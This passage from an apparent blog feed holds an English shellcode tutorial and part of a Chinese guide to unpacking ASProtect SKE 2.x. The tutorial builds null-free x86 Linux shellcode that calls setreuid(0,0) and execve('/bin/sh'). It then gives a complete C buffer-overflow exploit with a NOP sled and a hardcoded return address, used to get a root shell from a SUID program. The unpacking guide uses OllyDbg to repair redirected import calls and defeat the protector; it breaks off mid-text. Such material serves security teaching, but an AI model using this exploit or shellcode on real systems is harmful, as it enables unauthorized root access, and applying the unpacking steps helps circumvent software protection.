segment containing code instructions; and a stack segment, which provides a special memory area for storing data. This example uses only data and code segments. The operators section .data and section .text mark their beginnings. A data segment contains the declaration of two char variables: name and line, consisting of a set of bytes (see the db mark in the definition).<br /><br />The code segment starts from a declaration of an entry point, global _start. This tells the system that the application code starts at the _start label.<br /><br />The next steps are easy; to call open(), set the EAX register to the appropriate function code: 5. After that, pass parameters for the function. The most simple way of passing parameters is to use the registers EBX, ECX, and EDX. EBX gets the first function parameter, the address of the beginning of the filename string variable, which contains a full path to a file and a finishing zero char (most system functions operating with strings demand a trailing null). The ECX register gets the second parameter, giving information about file open mode (a constant O_WRONLY|O_APPEND in a numeric format). With all of the parameters set, the code calls interrupt 0x80. It will read the function code from EAX and calls an appropriate function. After completing the call, the application will continue, calling write(), close(), and exit() in exactly the same way.<br /></span>
		<br />
		<span class="tpc_content">
				<font color="blue">Running a Root Bourne Shell from Shellcode</font>
				<br />That was fun. Now it's time to translate the second program into assembly; one that executes setreuid() and execve() to run a root shell:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code5">section .data<br />name db '/bin/sh', 0<br /><br />section .text<br />global _start<br /><br />_start:<br />; setreuid(0, 0)<br />mov eax, 70<br />mov ebx, 0<br />mov ecx, 0<br />int 0x80<br /><br />; execve("/bin/sh",["/bin/sh", NULL], NULL)<br />mov eax, 11<br />mov ebx, name<br />push 0<br />push name<br />mov ecx, esp<br />mov edx, 0<br />int 0x80</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code5'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br /><br />Most of this code is similar to the previous example except for the execve() function call. The same program segments are there, and the same execution method works for setreuid(). The second parameter of execve() is an array of two elements. It is reasonable to pass this through the stack, which first needs a zero value (push 0), and then an address for the variable name (push name). This is a stack, so remember to push parameters in reverse order--LIFO, or "last in, first out." When the system call pulls its parameters out, the first will be the name variable address, and then a zero value. A function must also know where to find its parameters. For that, this code uses the enhanced stack pointer (ESP) register, which always points to the top of the stack. The only other work is to copy the contents of the ESP register to ECX, which will be used as a second parameter when calling the 0x80 interrupt.<br /><br /><font color="blue">Eliminating Data Segments</font><br />That assembly code works completely. However, it is useless. You can compile it with nasm, execute it, and view the binary file in hex form with hexdump, which is itself a shellcode. The problem is that both programs use their own data segments, which means that they cannot execute inside another application. This means in chain that an exploit will not be able to inject the required code into the stack and execute it.<br /><br />The next step is to get rid of the data segment. There exists a special technique of moving a data segment into a code segment by using the jmp and call assembly instructions. Both instructions make a jump to a specified place in the code, but the call operation also puts a return address onto the stack. This is necessary for returning to the same place after the called function successfully executes to continue the program's execution. Consider the code:<br /><br />jmp two<br />one:<br />pop ebx<br /><br />[application code]<br /><br />two:<br />call one<br />db 'string'<br />At the beginning, the program execution jumps to a two label, attached to a call to the procedure one. There is no such procedure, in fact; however, there is another label with this name, which obtains control. At the moment of this call, the stack receives a return address: the address of the next instruction after call. In this code, the address is that of a byte string: db 'string'. This means that when the instructions located after one label execute, the stack already contains the address of a string. The only thing left to do is to retrieve this string and use it appropriately. Here's that trick in a modified version of the second example, named shell.asm:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code6">BITS 32<br />; setreuid(0, 0)<br />mov eax, 70<br />mov ebx, 0<br />mov ecx, 0<br />int 0x80<br />jmp two<br /><br />one:<br />pop ebx<br /><br />; execve("/bin/sh",["/bin/sh", NULL], NULL)<br />mov eax, 11<br />push 0<br />push ebx<br />mov ecx, esp<br />mov edx, 0<br />int 0x80<br /><br />two:<br />call one<br /><br />db '/bin/sh', 0</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code6'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br /><br />As you can see, there are no more segments at all now. The string /bin/sh, which was previously in a data segment, now comes off of the stack and goes into the EBX register. (The code also has a new directive, BITS 32, which enables 32-bit processor optimization.)<br /><br /><br />"&gt; <br /><br /><br /><br /><font color="blue">Works Now</font><br />Compile the program with nasm:<br /><br />$ nasm shell.asm<br />And dump its code with hexdump:<br /><br />$ hexdump -C shell<br />Figure 1 shows a typical shellcode. The next step is to convert it into a better format by preceding each byte with \x, and then putting all of the code into a byte array. Now check that it works:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code7">char code[]=<br />"\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\x00\x00\x00\x00\xcd"<br />"\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\x00\x68\x00\x00\x00"<br />"\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\xe8\xe6\xff\xff\xff"<br />"\x2f\x62\x69\x6e\x2f\x73\x68\x00";<br /><br />main() {<br />  int (*shell)();<br />  (int)shell = code;<br />  shell();<br />}</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code7'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br /><br />Try to compile and run it:<br /><br />$ gcc -o shellApp<br />$ ./shellApp<br />It works!<br /><br /><font color="blue">Not Yet Working: Eliminating NULL Bytes</font><br />Now the shellcode does not use the data segment and even works inside of a C tester program, but it still will not work inside a real exploit. The reason are the numerous NULL bytes (\x00). Most buffer overflow errors are related to C stdlib string functions: strcpy(), sprintf(), strcat(), and so on. All of these functions use the NULL symbol to indicate the end of a string. Therefore, a function will not read shellcode after the first occurring NULL byte.<br /><br />Thus, the next task is to get rid of all null bytes in the shellcode. The idea is simple: find pieces of code that cause null bytes to appear and change them. A mature developer, in most cases, can say why machine code contains zeroes, but it's easy to use a disassembler to identify such instructions:<br /><br />$ nasm shell.asm<br />$ ndisasm -b32 shell<br />00000000 B846000000     mov eax,0x46<br />00000005 BB00000000     mov ebx,0x0<br />0000000A B900000000     mov ecx,0x0<br />0000000F CD80         int 0x80<br />...<br />Executing this command will give the disassembled code of a program. It will contain three columns. The first column contains the instruction's address in hexadecimal form. It is not very important. The second column contains machine instructions, the same as shown with hexdump. The third column contains an assembly equivalent. This column will give you an idea which instructions contain null bytes in a shellcode.<br /><br />After a brief review of a dump contents, it becomes evident that most null bytes come from instructions that manage the contents of registers and the stack. This is no surprise; this code works in a 32-bit mode, so the computer allocates a four-byte memory space for each numeric value. Yet the code uses only values for which one byte is enough. For example, the beginning of the program has the instruction mov eax, 70 to put the value 70 into the EAX register. In the shellcode, this instruction looks like B8 46 00 00 00. B8 is the machine code of the instruction mov ax, and 46 00 00 00 is the value 70 in hexadecimal notation, padded with zeroes to the size of four bytes. Many null bytes appear for similar reasons.<br /><br />The solution for this problem is very simple. It's enough to remember that 32-bit registers (EAX, EBX, and other registers whose names begin with "E," for "enhanced") can be represented by 8-bit and 16-bit registers. It's enough to use a 16-bit register AX instead and even its low and high parts, AL and AH, which are one-byte registers. Just replace the instruction mov eax, 70 with mov al, 70 in all such places.<br /><br />It's important to be sure that the rest of the EAX register space does not contain any garbage; that is, the code must put a zero value into EAX without using any null bytes. The fastest and most effective way of doing this is with the XOR logical function: xor eax,eax will give the EAX register a zero value.<br /><br />Even after these modifications, the shellcode still contains zero bytes. The debugger shows that now the jmp instruction causes trouble:<br /><br />E91500 jmp 0x29 0000 add [bx+si],al<br />The trick is to use a short jump instruction instead of the usual jmp short. In short programs with simple structure these instructions work in absolutely the same way, and the machine code in this case will not contain zero bytes.<br /><br />You may now think that this shellcode is ideal, but at the end there is still one remaining zero byte. This zero byte occurs because the string bin/sh has a null byte indicating the end of the string. This is a definite requirement, because otherwise execve() will not work properly. You cannot just remove this byte. You can use one more assembler trick: at the compiling and binding stage, store any other symbol instead of zero, and convert it into zero while processing the program:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code8">jmp short stuff <br /><br />code:<br />pop esi<br />; address of string<br />; now in ESI<br /><br />xor eax,eax<br />; put zero into EAX<br /><br />mov byte [esi + 17],al<br />; count 18 symbols (index starts from zero)<br />; and putting a zero value there (EAX register equals to zero)<br />; The string will become This is my string0<br /><br />stuff:<br />call code<br /><br />db 'This is my string#'</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code8'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br />After using this trick, the shellcode will contain no null bytes:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code9">BITS 32<br /><br />;setreuid(0, 0)<br />xor eax,eax<br />mov al, 70<br />xor ebx,ebx<br />xor ecx,ecx<br />int 0x80<br /><br />jmp short two<br /><br />one:<br />pop ebx<br /><br />; execve("/bin/sh",["/bin/sh", NULL], NULL)<br />xor eax,eax<br />mov byte [ebx+7], al<br />push eax<br />push ebx<br />mov ecx, esp<br />mov al,11<br />xor edx,edx<br />int 0x80<br /><br />two:<br />call one<br />db '/bin/sh#'</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code9'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br />After compiling this code, you can now see that it no longer contains null bytes. It's worth mentioning that the problem may arise not only because of null bytes, but because of other special symbols; for example, the end-of-line symbols, in some cases.<br /><br /><font color="blue">How It Works in Exploit</font><br />A buffer overflow exploit tries to write beyond a buffer on the stack so that when the function returns, it will jump to some code that most often starts a shell instead of returning to the function that called the current function. To understand how it works, you have to know how the stack works and how functions are called in C. The stack starts somewhere in the top of memory and the stack pointer moves down as the program pushes things onto the stack and back up as the code pops them off again. Given the C function:<br /><br /><font color="blue">void sum(int a,int b) {<br />  int c = a + b;<br />}</font><br /><br />The stack inside of sum() will look like this:<br /><br /><font color="red"><br />b<br />a<br />&lt;return address&gt;<br />&lt;ebp contents&gt;<br />c<br /></font><br /><br />The computer saves the contents of the EBP register to a stack before calling the sum() function because it will be used inside of the function, so it can be restored from the stack after returning from the function. The goal of an exploit is to change the return address. This is not possible in this case, because no matter what a and b are, the result cannot overflow c into the EBP contents on the stack and the return address. If c were a string instead, it might be possible to write past it. Here is an overflow-exploitable program:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code10">#include<br />&lt;stdio.h&gt;<br /><br />void sum(int a,int b) {<br />  int c = a + b;<br />}<br /><br />void bad_copy_string(char *s)<br />{<br />  char local[1024];<br />  strcpy(local,s);<br />  printf("string is %s\n",local);<br />}<br /><br />int main(int argc, char *argv[])<br />{<br />  sum(1,2);<br />  bad_copy_string(argv[1]);<br />}</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code10'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br />The function copy_string makes a copy of the first command-line parameter of the program into a buffer of a fixed size and then prints it out. This might look stupid, but something like this is quite common for programs that need to perform actions based on external input, either from the command line or a socket connection.<br /><br />Compile this victim code and run it:<br /><br /><font color="firebrick">% gcc -o overflow overflow.c <br />% ./overflow 'All seems fine'<br />string is All seems fine</font><br /><br />Everything seems indeed right, but call it with a parameter longer than 1024 characters:<br /><br /><font color="green">% ./overflow `perl -e 'print "a" x 2000'`<br />string is aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<br />aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<br />aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<br />aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<br />aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<br />bash: segmentation fault (core dumped) ./overflow `perl -e 'print "a" x 2000'`</font><br /><br />The Perl script above generates a string of 2000 a symbols. Now run the core file through gdb:<br /><br /><font color="green">% gdb ./overflow core</font><br /><br />GNU gdb 2002-04-01-cvs<br />Copyright 2002 Free Software Foundation, Inc.<br />GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.<br />Type "show copying" to see the conditions.<br />There is absolutely no warranty for GDB. Type "show warranty" for details.<br />This GDB was configured as "i386-linux".<br />Core was generated by `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<br />aaaaaaaaaaaaaaaaaaaaaaa'.<br />Program terminated with signal 11, Segmentation fault.<br />Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.<br />Loaded symbols for /lib/libc.so.6<br />Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.<br />Loaded symbols for /lib/ld-linux.so.2<br />#0 0x61616161 in ?? ()<br /><br />The segmentation fault happened at the address 0x61616161--which is the string aaaa in hexidecimal. This means that the exploit can get the program to jump to an arbitrary address depending on what it receives as a parameter. It would be nice to make it jump to the beginning of the local buffer on the stack--but what is the address of the stack right now? gdb knows:<br /><br /><font color="green">(gdb) info register esp</font><br />esp         0xbffff334     0xbffff334<br />Now, the only other thing necessary to get the code to execute is the previously written shellcode. You can take the ready shell app and run an overflow victim program from it:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code11">#include &lt;stdlib.h&gt;<br /><br />static char shellcode[]=<br />"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\"<br />"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#";<br /><br />#define NOP 0x90<br />#define LEN 1024+8<br />#define RET 0xbffff334<br /><br />int main()<br />{<br />  char buffer[LEN]; int i;<br /><br />  /* first fill up the buffer with NOPs */<br />  for (i=0;i&lt;LEN;i++)<br />    buffer[i] = NOP;<br /><br />  /* and then the shellcode */<br />  memcpy(&amp;buffer[LEN-strlen(shellcode)-4],shellcode,strlen(shellcode));<br /><br />  /* and finally the address to return to */<br />  *(int*)(&amp;buffer[LEN-4]) = RET;<br /><br />  /* run program with buffer as parameter */<br />  execlp("./overflow","./overflow",buffer,NULL);<br /><br />  return 0;<br />}</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code11'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br />The shellcode[] symbol array contains the shellcode without any null bytes. It may differ slightly, depending on OS conditions. The main() function starts with a buffer that is the size of the local variable (1024 bytes) plus eight bytes for EBP and the return address. As the buffer is longer than the shellcode, the beginning needs a bunch of do-nothing machine code (NOP) operations. Then the function copies in the shellcode, and finally, the address of the beginning of the buffer. Now compile and run it:<br /><br />% gcc -o exploit exploit.c<br />% ./exploit<br />string is &lt;lots of garbage&gt;<br />Yahoo! A new Bourne shell opened! This is, of course, not much fun as the overflow program runs as yourself, but if it were a SUID root program, then you would now have a root shell. Try that:<br /><br />% chmod +s overflow<br />% su<br /># chown root overflow<br /># exit<br />% ./exploit<br />string is &lt;lots of garbage&gt;<br />sh# whoami<br />root<br />That's it! You became a root user on this machine without permission. If the victim machine is a remote one, this will not help. More advanced shellcode creates a listening socket and redirects stdin and stdout to it before calling execve /bin/sh--that way, you don't need a shell account on the machine and can simply direct telnet or nc at the machine and port to get a root shell.<br /><br /><font color="blue">Conclusion</font><br />In this article, I have reviewed the most important tricks that will be needed in writing shellcodes and using them in exploit. The key to success is a good understanding of the operating system under which the shellcode will run, as well as assembly programming. There is nothing complicated, though. It's also worth mentioning that you should only use these mentioned techniques for legal purposes and with the knowledge and consent of the machine's owner.<br /></span>
		<br />
<img src ="http://www.cnitblog.com/torch/aggbug/12835.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-06-25 16:56 <a href="http://www.cnitblog.com/torch/articles/12835.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>学脱ASProtect 2.1x SKE 壳必看文章</title><link>http://www.cnitblog.com/torch/articles/10627.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Tue, 16 May 2006 15:32:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/10627.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/10627.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/10627.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/10627.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/10627.html</trackback:ping><description><![CDATA[
		<p>
				<strong>学脱ASProtect 2.1x SKE 壳必看文章<br /><br /></strong>标 题: nspack3.5主程序脱壳分析(Aspr SKE 2.X)<br />发帖人:shoooo<br />时 间: 2005-12-11 13:26 <br />原文链接:[url]http://bbs.pediy.com/showthread.php?threadid=19313[/url] <br />详细信息: <br /><br />nspack 3.5 主程序脱壳介绍<br />xp sp2<br />flyodbg<br />Aspr SKE 2.X<br /><br /><br />零  需要哪里就重新来过重点分析哪里<br />come on let's go<br /><br /><br />一  PEiD可以不用， 但LordPE一定要先加载看看<br />.rsrc段上面有三个区段，没有名字，不过可以猜到是.text、.rdata和.data段，是VC的程序<br /><br /><br />二  看看能不能在OD下跑起来<br />OD载入nspack.exe，忽略所有异常，清除所有断点， 打上IsDebuggerPresent插件<br />F9运行  gogogo~<br />正常情况下能跑起来，alt+e看看加载的dll，看到有msvcrt.dll，没有发现mfc的dll<br />所以是普通VC或MFC静态<br />我猜我猜我猜猜猜<br /><br /><br />三  到oep看看<br />重来，OD截入，忽略所有...清除...打上..插件<br />到GetVersion的末尾retn下断<br /><br />    7C8114AB kernel32.GetVersion      64:A1 18000000   mov eax,dword ptr fs:[18]<br />    7C8114B1                          8B48 30          mov ecx,dword ptr ds:[eax+30]<br />    7C8114B4                          8B81 B0000000    mov eax,dword ptr ds:[ecx+B0]<br />    7C8114BA                          0FB791 AC000000  movzx edx,word ptr ds:[ecx+AC]<br />    7C8114C1                          83F0 FE          xor eax,FFFFFFFE<br />    7C8114C4                          C1E0 0E          shl eax,0E<br />    7C8114C7                          0BC2             or eax,edx<br />    7C8114C9                          C1E0 08          shl eax,8<br />    7C8114CC                          0B81 A8000000    or eax,dword ptr ds:[ecx+A8]<br />    7C8114D2                          C1E0 08          shl eax,8<br />    7C8114D5                          0B81 A4000000    or eax,dword ptr ds:[ecx+A4]<br />    7C8114DB                          C3               retn                              //这里下断<br /><br />F9运行，断下，F8返回，向上看看，看到oep了<br /><br />    00486C68                          55               push ebp<br />    00486C69                          8BEC             mov ebp,esp<br />    00486C6B                          6A FF            push -1<br />    00486C6D                          68 38FB4A00      push nSpack.004AFB38<br />    00486C72                          68 50554800      push nSpack.00485550<br />    00486C77                          64:A1 00000000   mov eax,dword ptr fs:[0]<br />    00486C7D                          50               push eax<br />    00486C7E                          64:8925 00000000 mov dword ptr fs:[0],esp<br />    00486C85                          83EC 58          sub esp,58<br />    00486C88                          53               push ebx<br />    00486C89                          56               push esi<br />    00486C8A                          57               push edi<br />    00486C8B                          8965 E8          mov dword ptr ss:[ebp-18],esp<br />    00486C8E                          FF15 6C724A00    call dword ptr ds:[4A726C]                      ; kernel32.GetVersion<br />    00486C94                          33D2             xor edx,edx                      // GetVersion返回到这里<br /><br />VC6会GetVersion，VC7会GetVersionExA，可以都在末尾下断，到时候看哪个像oep附近就是了<br /><br /><br />四  输入表<br />GetVersion是在[4A726C]，那么到那个地方向上看看，向下看看，找输入表的范围<br />结果<br />4A7000 到 4A7688<br />输入表没有加密 :)<br />有时候aspr SKE 2.X会把输入表加密，把一部分导入函数地址改的乱七八糟，可那些加密的地址是不存在的。<br />那它怎么用那里的导入函数呢? 其实它把代码中所有对加密导入函数的调用从原先的call [IAT]或jmp [IAT]<br />改成了call 00EA0000这种样子，从它自己的call 00EA0000进入导入函数，这样那些加密的导入函数就可以随便<br />写一个不存在的地址了。<br /><br />如果输入表加密了，你可以这样完整修复：<br />OD截入，忽略所有...清除...打上..插件<br />随便对一个导入函数地址下内存写断点，比如这里GetVersion的4A726C<br />断了若干次后到这里<br />    00C5764D        8902          mov dword ptr ds:[edx],eax                 ; // eax指向GetVersion的地址，写入ebx = 4A726C<br />    00C5764F        E9 20010000   jmp 00C57774<br /><br />    00C57774        8B45 0C       mov eax,dword ptr ss:[ebp+C]<br />    00C57777        8300 04       add dword ptr ds:[eax],4<br />    00C5777A        8D85 FAFEFFFF lea eax,dword ptr ss:[ebp-106]<br />    00C57780        3BF8          cmp edi,eax<br />    00C57782        74 07         je short 00C5778B<br />    00C57784        8BC7          mov eax,edi<br />    00C57786        E8 D9ADFDFF   call 00C32564<br />    00C5778B        5F            pop edi<br />    00C5778C        5E            pop esi<br />    00C5778D        5B            pop ebx<br />    00C5778E        8BE5          mov esp,ebp<br />    00C57790        5D            pop ebp<br />    00C57791        C2 1000       retn 10                                    // F8下来后这里返回<br /><br />返回后<br />    00C5795A        E8 59FCFFFF   call 00C575B8                              //关键的call 进去看<br />    00C5795F        0FB707        movzx eax,word ptr ds:[edi]                //上面返回后是回到这里<br />    00C57962        83C0 02       add eax,2<br />    00C57965        03F8          add edi,eax<br />    00C57967        8A1F          mov bl,byte ptr ds:[edi]<br />    00C57969        47            inc edi<br />    00C5796A        3A5E 34       cmp bl,byte ptr ds:[esi+34]<br />    00C5796D      ^ 0F85 77FFFFFF jnz 00C578EA                               //继续当前dll的下一个导入函数<br />    00C57973        8BDF          mov ebx,edi<br />    00C57975        8B03          mov eax,dword ptr ds:[ebx]<br />    00C57977        85C0          test eax,eax<br />    00C57979      ^ 0F85 0AFFFFFF jnz 00C57889                               //下一个dll<br /><br />C575B8这个call就是对输入表的处理<br /><br />    00C575B8        55            push ebp<br />    00C575B9        8BEC          mov ebp,esp<br />    00C575BB        81C4 F8FEFFFF add esp,-108<br />    00C575C1        53            push ebx<br />    00C575C2        56            push esi<br />    00C575C3        57            push edi<br />    00C575C4        8B55 14       mov edx,dword ptr ss:[ebp+14]<br />    00C575C7        8B5D 08       mov ebx,dword ptr ss:[ebp+8]<br />    00C575CA        8DBD FAFEFFFF lea edi,dword ptr ss:[ebp-106]<br />    00C575D0        8BC2          mov eax,edx<br />    00C575D2        48            dec eax<br />    00C575D3        83E8 02       sub eax,2<br />    00C575D6        0FB630        movzx esi,byte ptr ds:[eax]<br />    00C575D9        8B45 10       mov eax,dword ptr ss:[ebp+10]<br />    00C575DC        83E8 02       sub eax,2<br />    00C575DF        0FB600        movzx eax,byte ptr ds:[eax]<br />    00C575E2        3B43 2C       cmp eax,dword ptr ds:[ebx+2C]<br />    00C575E5        76 06         jbe short 00C575ED                         //上面不去管它，这个跳转肯定满足<br /><br />    00C575ED        33C0          xor eax,eax<br />    00C575EF        8A43 3B       mov al,byte ptr ds:[ebx+3B]<br />    00C575F2        3BF0          cmp esi,eax                                // 这里开始了4种情况的比较<br />    00C575F4        75 5E         jnz short 00C57654<br /><br />C575F2的 cmp esi, eax开始了4种类型的比较<br />当前导入函数的类型是放在esi中，你可以在这里下个断点，然后一个一个看下来<br />第1种类型：用第1个密钥，还原真实导入函数地址，这里不防设esi值为1<br />第2种类型：用第2个密钥，还原真实导入函数地址，这里不防设esi值为2<br />第3种类型：用第2个密钥，不作任何处理，这里不防设esi值为3<br />第4种类型：GetProcAddress，这里不防设esi值为4<br /><br />可见那些加密的导入函数地址，也就是第3种类型，与其说是加密，不如说是壳没有去处理<br />既然它和第2种类型处理方式一样，可以在cmp esi, eax这个点，修改esi中的值，把第3种<br />情况改成第2种情况就可以了<br />或者你也可以跑下去，把一些jnz或je改成magic jmp，让第3种情况跑到第2种情况也可以<br /><br />需要说明的是esi的对每个aspr加壳的程序都是随机的，只要多看几个，就知道是哪个改哪个了<br /><br /><br /><br />五  取得call 00EA0000的所有地址<br />按照上面所说的，可以在GetVerion返回后dump出来，然后用ImortREC修复输入表，把oep 86c68写回去<br />不妨叫做unpack1.exe，用od载它跑一下，它会告诉你call 00EA0000挂了，然后按F12(pause)，从堆栈的<br />返回地址知道是这个让你挂了<br />    00489AAB        E8 5065A100   call 00EA0000<br />    00489AB0        1283 4E04FF6A adc al,byte ptr ds:[ebx+6AFF044E]<br /><br />EA0000是什么呢？<br />它是把导入函数调用的变形，原来的call [IAT] 和 jmp [IAT]的变形<br />EA0000是壳用VirtualAlloc的空间，不在区段中<br />在我的机机子上现在是call 00EA0000，在你的机子上就可能是call 1230000<br />也就是说，call 00EA0000是壳经过计算后写入的<br />于是我想看看，在它写入call 00EA0000前是什么样子<br /><br /><br />OD载入nspack.exe，忽略所有异常，清除所有断点， 打上IsDebuggerPresent插件<br />对489AAC下内存写入断点 (因为489AAB是'E8'，我们要的是后4个字节)<br /><br />若干次后会断在这里<br />    00C5BAD3        8945 00       mov dword ptr ss:[ebp],eax           // 断在这儿：ebp指向489AAC，eax写入后，使那个地方变成call 00EA0000<br />    00C5BAD6        6A 0A         push 0A<br />    00C5BAD8        E8 7F9AFEFF   call 00C4555C<br />    00C5BADD        8BC8          mov ecx,eax<br />    00C5BADF        038B E4000000 add ecx,dword ptr ds:[ebx+E4]<br />    00C5BAE5        8BD6          mov edx,esi<br />    00C5BAE7        8BC3          mov eax,ebx<br />    00C5BAE9        E8 8EE5FFFF   call 00C5A07C<br />    00C5BAEE        FF0C24        dec dword ptr ss:[esp]<br />    00C5BAF1        03B3 E4000000 add esi,dword ptr ds:[ebx+E4]<br />    00C5BAF7        833C24 00     cmp dword ptr ss:[esp],0<br />    00C5BAFB      ^ 0F87 55FEFFFF ja 00C5B956                          //如果还有需要处理就跳上去<br />    00C5BB01        53            push ebx<br />    00C5BB02        E8 5D000000   call 00C5BB64<br />    00C5BB07        0183 EC000000 add dword ptr ds:[ebx+EC],eax<br />    00C5BB0D        B0 01         mov al,1<br />    00C5BB0F        83C4 24       add esp,24<br />    00C5BB12        5D            pop ebp<br />    00C5BB13        5F            pop edi<br />    00C5BB14        5E            pop esi<br />    00C5BB15        5B            pop ebx<br />    00C5BB16        C3            retn                                 //这里结束<br /><br /><br />正如我所说，call 00EA0000完全是在代码段解码后，申请空间，现在我申请到的是EA0000<br />那么它就将需要变形的地方计算后写成call 00EA0000，如果你申请到的是1230000，那么你<br />是call 1230000<br /><br />断在这里，我当然想看一看在改写成call 00EA0000之前，那些地址是不是正常的<br />很可惜，那里在改写成call 00EA0000，本身就是乱掉的。<br />或者在某个时候能知道那些变形地址原先的真实情况，可惜我找不到。<br />也许只有作者知道在哪里<br />也许根本就找不到<br />因为根本就不需要<br />对于call 00EA0000，它加密前只要知道2件事，1.本身所在的地址 2.IAT中的位置<br />对于call 00EA0000，现在也只要知道2件事，1.本身所在的地址 2.最后要去的导入函数的地址<br />它没有理由记录IAT中的位置<br />我们要做的是找出最后到达的导入函数的地址，然后找出它在IAT中的位置<br />改成原先的call [IAT] 或 jmp [IAT]<br /><br />回到正题，当我们断下时，前面可能已经处理若干个了<br />要想得到全部的表<br />你有好几种选择<br />1. 到oep后，写一段代码搜索出所有的call 00EA0000的地址<br />2. 想办法第一时间断在上面这个地方，即00C5BAD3，ebp-1就是变形的地址，保存所有的ebp-1<br />3. 也许内存中本身存在这张表，我没有去找，你可以找找<br /><br />要找全他们并不难:)<br /><br />啊，还有一个要说明的<br />在写入每一处的call 00EA0000时，上面的流程会经过这里<br />    00C5B981        FFD2          call edx                           //call edx 结果在eax<br />    00C5B983        807B 20 00    cmp byte ptr ds:[ebx+20],0         // eax 可能是1或0<br />    00C5B987        0F85 3D010000 jnz 00C5BACA<br /><br />如果是1，当前这个call 00EA0000处运行时，会重新回到调用地址，再进入导入函数<br />如果是0，当前这个call 00EA0000进入导入函数后出来(好像是废话)，不过这种方式比较邪恶，它可能做更多的事情<br />下面我会讲到<br /><br /><br /><br />六  call 00EA0000的修复<br />有没有想过一个有意思的问题，所有这样的调用都是进入EA0000一个地方，但是壳却知道最后<br />目的地址是哪一个导入函数，它是怎么判断的呢？<br />当到了EA0000，壳能看到什么？<br />1. 参数<br />2. 返回地址<br />第1种情况：鬼知道我会传什么参数，多少个参数，它不能作为评判标准的<br />第2种情况：只有你了，Aspr存着一张表，它记录了所有call 00EA0000的返回地址和最后导入函数的1对1关系<br /><br />它是加密的<br />我们要做的是找出这张表，或者找到1个点能确定它们1对1的关系<br /><br />简单说一下进入EA0000后发生了什么，一共三层<br /><br />第一层：保存所有当前寄存器 (出来后还要继续运行的，不能影响后面，不过它不是明目张胆的pushad)<br />第二层：1. 决定是哪一种方式的导入函数调用<br />           a. 第一种方式：将call 00EA0000 变成call F00004之类，出来后再次从原地进入F00004进入导入函数<br />           b. 第二种方式：直接带着参数进入导入函数<br />        2. 决定这个调用是call (ff15)还是jmp (ff25)<br />           不要以为C的都是call，delphi的都是jmp<br />           c. 如果是call (ff15)，返回地址要+1 ，比如inc [esp]，因为call 00EA0000 占5个字节，call (ff15)占6个字节<br />           d. 如果是jmp (ff25)，要esp+4，想一下就知道原因了:)<br />        3. 如果是1.b的情况，可能有更邪恶的对下一行的偷代码，我一直没有找到好的方式解决它:(<br />第三层：恢复所有的寄存器返回<br /><br /><br />对于第一层的和第三层的操作，只要一路F7即可<br />当你看到<br />    00EA0166        2BDA          sub ebx,edx<br />    00EA0168        FFD3          call ebx                  //F7进入第二层<br 